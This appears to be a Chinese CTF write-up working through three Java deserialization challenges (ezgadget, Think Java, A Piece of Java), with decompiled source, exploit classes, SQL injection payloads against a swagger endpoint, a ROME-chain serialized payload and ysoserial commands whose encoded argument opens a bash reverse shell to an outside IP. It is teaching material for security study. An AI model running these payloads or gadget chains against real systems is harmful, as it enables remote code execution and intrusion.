这里的话是记录一下关于java反序列化的刷题
(因为刚把一些链子给跟完)
东华杯ezgadget 原题的jar包 可以把代码拷出来自己跑下 链接:https://pan.baidu.com/s/1t5-fV7SUETDEI5-qbZZQrw 提取码:8do5
java -jar ezgadget.jar
在kali或者自己的服务器上运行跑一下,搭建一个环境
拿到jar包后先放到jd-gui 里面进行反编译一下
然后在导到idea进行测试(这里的话是得根据题目自己创建package来导入 )
导入到idea里后,进行代码审计
先是查看pom.xml
看有无一些常见链子的依赖
这里的话是没有
Tools.java
这里提供了他一些函数是进行base64编码和解码的,还有序列化和反序列化的
IndexController.java
TostringBean.java
这里话是提供了一个动态类加载的defineClass
方法 并且还会实例化
这里话就说明了这道题是不出网的,得在自己本地执行编译过的恶意代码
那么我们就得找一下谁调用了这个TostringBean.toString()
方法
这里如果对cc链比较熟悉的话,一下就能猜出来了
cc5这条链子就有一个类的readObject
方法是调用这个toSting
方法的
于是调用链就是
1 BadAttributeValueExpException.readobject --> ToStringBean.toString
于是我们就开始写exp
这里的话先从执行代码那部分开始写
这里话是得使用反射调用来给这个参数赋值
这里附的值就是我们本地的编译过的恶意代码
然后就把执行代码的这部分写完了
接下来就是写使用BadAttributeValueExpException.readobject
来触发toString
这个函数了
先跟进去看一下这个类
先看他的构造函数
在实例化的时候会执行这个方法,赋值就会执行toString方法,但是这里我们不能直接传Tostingbean方法,因为如果这里进行了调用了话,readobject方法的时候在调用会报错
所以这里的我们在实例化的时候就随便传一个值。
在看一下他的readobject方法
就是会获取val这个参数的值并赋给valObj这个参数,然后在最后的时候就会调用valObj.toString()方法
所以关键点就在这个val参数这里,这里的话我们就可以考虑使用反射调用来进行修改这里的值
这样就写好了
然后因为在这个/readobject路由里还得满足一些要求才能进行反序列化
这样就全部写完了
但是这里得需要先进行解码,所以我们还得对字节流进行编码
进行了编码
然后输出
然后将编码后的结果进行url编码 ,然后data传参就行了(必须得进行url编码 )
就可以成功反弹shell了
EXP.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package com.ezgame.ctf;import com.ezgame.ctf.tools.ToStringBean;import com.ezgame.ctf.tools.Tools;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class EXP { public static void main (String[] args) throws Exception{ ToStringBean toStringBean = new ToStringBean (); Field field = toStringBean.getClass().getDeclaredField("ClassByte" ); field.setAccessible(true ); byte [] bytes = Files.readAllBytes(Paths.get("D:\\ctf application\\idea\\IntelliJ IDEA Community Edition 2022.3.1\\project\\ezgadget\\target\\classes\\com\\ezgame\\ctf\\payload.class" )); field.set(toStringBean,bytes); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (123123123 ); Field filed = badAttributeValueExpException.getClass().getDeclaredField("val" ); filed.setAccessible(true ); filed.set(badAttributeValueExpException,toStringBean); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeUTF("gadgets" ); objectOutputStream.writeInt(2021 ); objectOutputStream.writeObject(badAttributeValueExpException); byte [] bytes1 = byteArrayOutputStream.toByteArray(); String s = Tools.base64Encode(bytes1); System.out.println(s); } }
妈的 吐槽一下 这里的话得需要jdk1.8来运行jar包 如果用jdk17的话 会shell弹不上去 (这里卡了好久,晕了)
[网鼎杯 2020 朱雀组]Think Java 考点
MYSQL JDBC反序列化解析
(上面的文章是讲造成这个jdbc反序列化的原因,并且跟着链一步一步分析 )
(下面的文章是讲使用mysql恶意服务来配合着jdbc反序列化漏洞来使用 )
MYSql恶意服务+ JDBC的使用
参考文章
jdbc反序列化 (jdbc sql注入) rome链
先下载jar包,然后丢进jd-gui里进行分析
这里的话就只给了部分代码
Row.java
就是自己写了有个Row类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 package sqldict;public class Row { String name; String type; String def; String isNull; String isAuto; String remark; String isPK; String size; public String getIsPK () { return this .isPK; } public void setIsPK (String isPK) { this .isPK = isPK; } public String getName () { return this .name; } public void setName (String name) { this .name = name; } public String getType () { return this .type; } public void setType (String type) { this .type = type; } public String getDef () { return this .def; } public void setDef (String def) { this .def = def; } public String getIsNull () { return this .isNull; } public void setIsNull (String isNull) { this .isNull = isNull; } public String getIsAuto () { return this .isAuto; } public void setIsAuto (String isAuto) { this .isAuto = isAuto; } public String getRemark () { return this .remark; } public void setRemark (String remark) { this .remark = remark; } public String getSize () { return this .size; } public void setSize (String size) { this .size = size; } public Row () {} public Row (String name, String type, String def, String isNull, String isAuto, String remark, String isPK, String size) { this .name = name; this .type = type; this .def = def; this .isNull = isNull; this .isAuto = isAuto; this .remark = remark; this .isPK = isPK; this .size = size; } }
SqlDict.java
连接数据库,其中sql语句处存在sql注入漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 package sqldict;import cn.abc.core.sqldict.Row;import cn.abc.core.sqldict.Table;import java.sql.Connection;import java.sql.DatabaseMetaData;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;import java.util.ArrayList;import java.util.List;public class SqlDict { public static Connection getConnection (String dbName, String user, String pass) { Connection conn = null ; try { Class.forName("com.mysql.jdbc.Driver" ); if (dbName != null && !dbName.equals("" )) { dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName; } else { dbName = "jdbc:mysql://mysqldbserver:3306/myapp" ; } if (user == null || dbName.equals("" )) user = "root" ; if (pass == null || dbName.equals("" )) pass = "abc@12345" ; conn = DriverManager.getConnection(dbName, user, pass); } catch (ClassNotFoundException var5) { var5.printStackTrace(); } catch (SQLException var6) { var6.printStackTrace(); } return conn; } public static List<Table> getTableData (String dbName, String user, String pass) { List<Table> Tables = new ArrayList <>(); Connection conn = getConnection(dbName, user, pass); String TableName = "" ; try { Statement stmt = conn.createStatement(); DatabaseMetaData metaData = conn.getMetaData(); ResultSet tableNames = metaData.getTables((String)null , (String)null , (String)null , new String [] { "TABLE" }); while (tableNames.next()) { TableName = tableNames.getString(3 ); Table table = new Table (); String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';" ; ResultSet rs = stmt.executeQuery(sql); while (rs.next()) table.setTableDescribe(rs.getString("TABLE_COMMENT" )); table.setTableName(TableName); ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null , TableName, "" ); ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null , TableName); String PK; for (PK = "" ; rs2.next(); PK = rs2.getString(4 )); while (data.next()) { Row row = new Row (data.getString("COLUMN_NAME" ), data.getString("TYPE_NAME" ), data.getString("COLUMN_DEF" ), data.getString("NULLABLE" ).equals("1" ) ? "YES" : "NO" , data.getString("IS_AUTOINCREMENT" ), data.getString("REMARKS" ), data.getString("COLUMN_NAME" ).equals(PK) ? "true" : null , data.getString("COLUMN_SIZE" )); table.list.add(row); } Tables.add(table); } } catch (SQLException var16) { var16.printStackTrace(); } return Tables; } }
Table.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package sqldict;import cn.abc.core.sqldict.Row;import java.util.ArrayList;import java.util.List;public class Table { String tableName; String tableDescribe; List<Row> list = new ArrayList <>(); public String getTableDescribe () { return this .tableDescribe; } public void setTableDescribe (String tableDescribe) { this .tableDescribe = tableDescribe; } public String getTableName () { return this .tableName; } public void setTableName (String tableName) { this .tableName = tableName; } public List<Row> getList () { return this .list; } public void setList (List<Row> list) { this .list = list; } }
Test.java
接收dbName参数,然后调用getTableData
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import cn.abc.common.bean.ResponseCode;import cn.abc.common.bean.ResponseResult;import cn.abc.common.security.annotation.Access;import cn.abc.core.sqldict.SqlDict;import cn.abc.core.sqldict.Table;import io.swagger.annotations.ApiOperation;import java.io.IOException;import java.util.List;import org.springframework.web.bind.annotation.CrossOrigin;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;@CrossOrigin @RestController @RequestMapping({"/common/test"}) public class Test { @PostMapping({"/sqlDict"}) @Access @ApiOperation(") public ResponseResult sqlDict (String dbName) throws IOException { List<Table> tables = SqlDict.getTableData(dbName, "root" , "abc@12345" ); return ResponseResult.e(ResponseCode.OK, tables); } }
Swagger
这个东西就是解题关键了
swagger-ui 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。
查资料会查到swagger-ui.html
访问swagger-ui.html
,会看到有三个路由,分别对应不同的功能,注意看第三个功能,对应着jar包中Test.class
,我们可以通过传dbName
来进行sql注入
这个sqlDict就是我们jar包里给的文件了,下麦呢的dbName就是我们可以进行sql注入的地方
因为这个的sql语句在jar里面已经给出了,那么就可以直接进行sql注入了
(并且这里还不对查询语句进行检测 )
Jdbc sql注入
这里的myapp
是因为
所以就是myapp
获取数据库名 1 2 3 4 获取所有数据库的名字 dbName=myapp#' union select group_concat(SCHEMA_NAME)from(information_schema.schemata)# 结果 information_schema,myapp,mysql,performance_schema,sys
获取表名 1 2 3 dbName=myapp#' union select group_concat(table_name)from(information_schema.tables)where(table_schema='myapp')# 结果 user
获取列名 1 2 3 dbName=myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))# 结果 id,name,pwd
获取字段值 1 2 3 4 5 6 dbName=myapp#' union select group_concat(id)from(user)# 结果 1 dbName=myapp#' union select group_concat(name)from(user)# 结果 admin dbName=myapp#' union select group_concat(pwd)from(user)# 结果
然后将用户名和密码在/common/user/login
处提交,获取一串字符串
下面是使用curl命令进行POST发包 记录一下这个操作
1 2 3 4 curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ \ "password": "admin", \ "username": "admin%40Rrrr_ctf_asde" \ }' 'http://1250b81b-263f-47e9-9375-540b6aa7c9c7.node4.buuoj.cn/common/user/login'
登录成功后返回有个base64编码的字段
将这段字符串放到/common/user/current
处提交,然后就会发现回显了这个用户的信息
回显出身份信息
对序列化字符串分析 1 Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu
下方的特征可以作为序列化的标志参考: 一段数据以rO0AB
开头,你基本可以确定这串就是Java序列化base64加密的数据。 或者如果以aced
开头,那么他就是这一段Java序列化的16进制。
java Deserialization Scanner插件使用
安装一下这个插件来对这个base64编码的字符串进行分析,看是属于哪一条链子的
把ysoserial的jar的路径也配置一下
然后抓包(抓的是current这个包,因为base64编码的字符串是用这个发包的 ),将其发送到插件中
最后发现是ROME
链
然后就去拿ysoserial直接来打就行,然后在使用current
这个路由来进行传参就行了
这里话直接反弹shell就行
1 java -jar ysoserial-master-2874a69f61-1.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMzkuMTEwLzMzODkgMD4mMQ==}|{base64,-d}|{bash,-i}" > a.bin
1 2 3 4 5 6 7 8 import base64file = open ("a.bin" ,"rb" ) now = file.read() ba = base64.b64encode(now) print (ba)file.close()
这样写的好处是到时候生成的payload会是一条直线 不会有很多换行
然后拿到current
这个路由传参打就行了
注意的是Bearer
这个前缀别忘了
1 Bearer rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAJSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtTAAZX2FjY2Vzc0V4dGVybmFsU3R5bGVzaGVldHQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAC19hdXhDbGFzc2VzdAA7TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0hhc2h0YWJsZTtbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4AEEwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////8AdAADYWxscHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAb1yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAYWJhc2ggLWMge2VjaG8sWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1ERXVOREl1TXprdU1URXdMek16T0RrZ01ENG1NUT09fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0IADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXI5NzgwMzcwMTcyMDA5NQEAH0x5c29zZXJpYWwvUHduZXI5NzgwMzcwMTcyMDA5NTsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABkAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyAChjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5FcXVhbHNCZWFu9YoYu+X2GBECAAJMAApfYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAARfb2JqcQB+AAl4cHZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHBxAH4AFXNyACpjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5Ub1N0cmluZ0JlYW4J9Y5KDyPuMQIAAkwACl9iZWFuQ2xhc3NxAH4AHkwABF9vYmpxAH4ACXhwcQB+ACFxAH4AFXNxAH4AHXZxAH4AAnEAfgANc3EAfgAicQB+ACVxAH4ADXEAfgAGcQB+AAZxAH4ABng=
然后就可以了
[羊城杯 2020]A Piece Of Java 考点
(Java动态代理,MySQL JDBC反序列化)
题目给了个jar包,直接拿到jd-gui进行一波分析
看到一共有这几个java文件 那么就直接对这些文件进行分析来寻找利用链
看到了这两个信息cc链
和mysql的连接器(任意让人想到 jdbc
)
MainController.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 package BOOT-INF.classes.gdufs.challenge.web.controller;import gdufs.challenge.web.model.Info;import gdufs.challenge.web.model.UserInfo;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.util.Base64;import javax.servlet.http.Cookie;import javax.servlet.http.HttpServletResponse;import org.nibblesec.tools.SerialKiller;import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.CookieValue;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;@Controller public class MainController { @GetMapping({"/index"}) public String index (@CookieValue(value = "data", required = false) String cookieData) { if (cookieData != null && !cookieData.equals("" )) return "redirect:/hello" ; return "index" ; } @PostMapping({"/index"}) public String index (@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) { UserInfo userinfo = new UserInfo (); userinfo.setUsername(username); userinfo.setPassword(password); Cookie cookie = new Cookie ("data" , serialize(userinfo)); cookie.setMaxAge(2592000 ); response.addCookie(cookie); return "redirect:/hello" ; } @GetMapping({"/hello"}) public String hello (@CookieValue(value = "data", required = false) String cookieData, Model model) { if (cookieData == null || cookieData.equals("" )) return "redirect:/index" ; Info info = (Info)deserialize(cookieData); if (info != null ) model.addAttribute("info" , info.getAllInfo()); return "hello" ; } private String serialize (Object obj) { ByteArrayOutputStream baos = new ByteArrayOutputStream (); try { ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(obj); oos.close(); } catch (Exception e) { e.printStackTrace(); return null ; } return new String (Base64.getEncoder().encode(baos.toByteArray())); } private Object deserialize (String base64data) { Object obj; ByteArrayInputStream bais = new ByteArrayInputStream (Base64.getDecoder().decode(base64data)); try { SerialKiller serialKiller = new SerialKiller (bais, "serialkiller.conf" ); obj = serialKiller.readObject(); serialKiller.close(); } catch (Exception e) { e.printStackTrace(); return null ; } return obj; } }
InfoInvocationHandler.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package BOOT-INF.classes.gdufs.challenge.web.invocation;import gdufs.challenge.web.model.Info;import java.io.Serializable;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;public class InfoInvocationHandler implements InvocationHandler , Serializable { private Info info; public InfoInvocationHandler (Info info) { this .info = info; } public Object invoke (Object proxy, Method method, Object[] args) { try { if (method.getName().equals("getAllInfo" ) && !this .info.checkAllInfo().booleanValue()) return null ; return method.invoke(this .info, args); } catch (Exception e) { e.printStackTrace(); return null ; } } }
DatabaseInfo.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 package BOOT-INF.classes.gdufs.challenge.web.model;import gdufs.challenge.web.model.Info;import java.io.Serializable;import java.sql.Connection;import java.sql.DriverManager;public class DatabaseInfo implements Serializable , Info { private String host; private String port; private String username; private String password; private Connection connection; public void setHost (String host) { this .host = host; } public void setPort (String port) { this .port = port; } public void setUsername (String username) { this .username = username; } public void setPassword (String password) { this .password = password; } public String getHost () { return this .host; } public String getPort () { return this .port; } public String getUsername () { return this .username; } public String getPassword () { return this .password; } public Connection getConnection () { if (this .connection == null ) connect(); return this .connection; } private void connect () { String url = "jdbc:mysql://" + this .host + ":" + this .port + "/jdbc?user=" + this .username + "&password=" + this .password + "&connectTimeout=3000&socketTimeout=6000" ; try { this .connection = DriverManager.getConnection(url); } catch (Exception e) { e.printStackTrace(); } } public Boolean checkAllInfo () { if (this .host == null || this .port == null || this .username == null || this .password == null ) return Boolean.valueOf(false ); if (this .connection == null ) connect(); return Boolean.valueOf(true ); } public String getAllInfo () { return "Here is the configuration of database, host is " + this .host + ", port is " + this .port + ", username is " + this .username + ", password is " + this .password + "." ; } }
Info.java
1 2 3 4 5 6 7 8 package BOOT-INF.classes.gdufs.challenge.web.model;public interface Info { Boolean checkAllInfo () ; String getAllInfo () ; }
UserInfo.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package BOOT-INF.classes.gdufs.challenge.web.model;import gdufs.challenge.web.model.Info;import java.io.Serializable;public class UserInfo implements Serializable , Info { private String username; private String password; public void setUsername (String username) { this .username = username; } public void setPassword (String password) { this .password = password; } public String getUsername () { return this .username; } public String getPassword () { return this .password; } public Boolean checkAllInfo () { return Boolean.valueOf((this .username != null && this .password != null )); } public String getAllInfo () { return "Your username is " + this .username + ", and your password is " + this .password + "." ; } }
一共就上述这几个文件组成 那么我们就可以开始分析(先导入到idea里 )
这里的话先看反序列化入口
这里话就是会将cookie的值来进行反序列化
但是之前我们虽然看到了有cc3.2.1
链子的依赖,但是,没啥用,因为这里的
serialkiller.conf
里面存在白名单
只允许gdufs和java.lang的类进行反序列化
所以cc链直接打就不行了
于是我们就想别的方法 入口点在他自己写的一个代理类上面
我们在调用他的invoke
方法的时候,他会调用到checkAllInfo()
方法 并且info
可控
于是我们去看看哪个类里边存在checkAllInfo()
方法
在DatabaseInfo
这个类里边存在这个方法,并且最后还调用了自身的connect()
方法
于是我们跟进这个connect()
方法
发现了他存在jdbc mysql
的恶意利用,这里就可以进行恶意代码执行了
由于我们前面查看的mysql连接器的版本是8.0.19
于是就找了payload
利用链
1 2 3 InfoInvocationHandler.invoke() ->DatabaseInfo.checkAllInfo() ->DatabaseInfo.connect()
所以大致攻击流程为: cookie反序列化->反序列化出来的对象走invoke方法->向vps发jdbc请求->vps发恶意包->弹shell
那么接下来就开始编写EXP
Myexp.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package gdufs.challenge.web.model;import gdufs.challenge.web.model.*;import gdufs.challenge.web.invocation.InfoInvocationHandler;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Proxy;import java.util.Base64;public class Myexp { public static void main (String[] args) throws Exception{ DatabaseInfo databaseinfo=new DatabaseInfo (); databaseinfo.setHost("101.42.39.110" ); databaseinfo.setPort("3306" ); databaseinfo.setUsername("foo" ); databaseinfo.setPassword("1&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" ); InfoInvocationHandler infoInvocationHandler=new InfoInvocationHandler (databaseinfo); Info info=(Info)Proxy.newProxyInstance(databaseinfo.getClass().getClassLoader(),databaseinfo.getClass().getInterfaces(), infoInvocationHandler); ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream=new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(info); objectOutputStream.close(); String str=new String (Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())); System.out.println(str); } }
然后用ysoserial工具生成一个payload
1 java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40Mi4zOS4xMTAvMzM4OSAwPiYx}|{base64,-d}|{bash,-i}" > payload
这里的生成文件名不能进行修改,因为得和等会部署的mysql恶意服务端里的文件相对应(这里用cc6是因为给的cc依赖是3.2.1 )
mysql.py
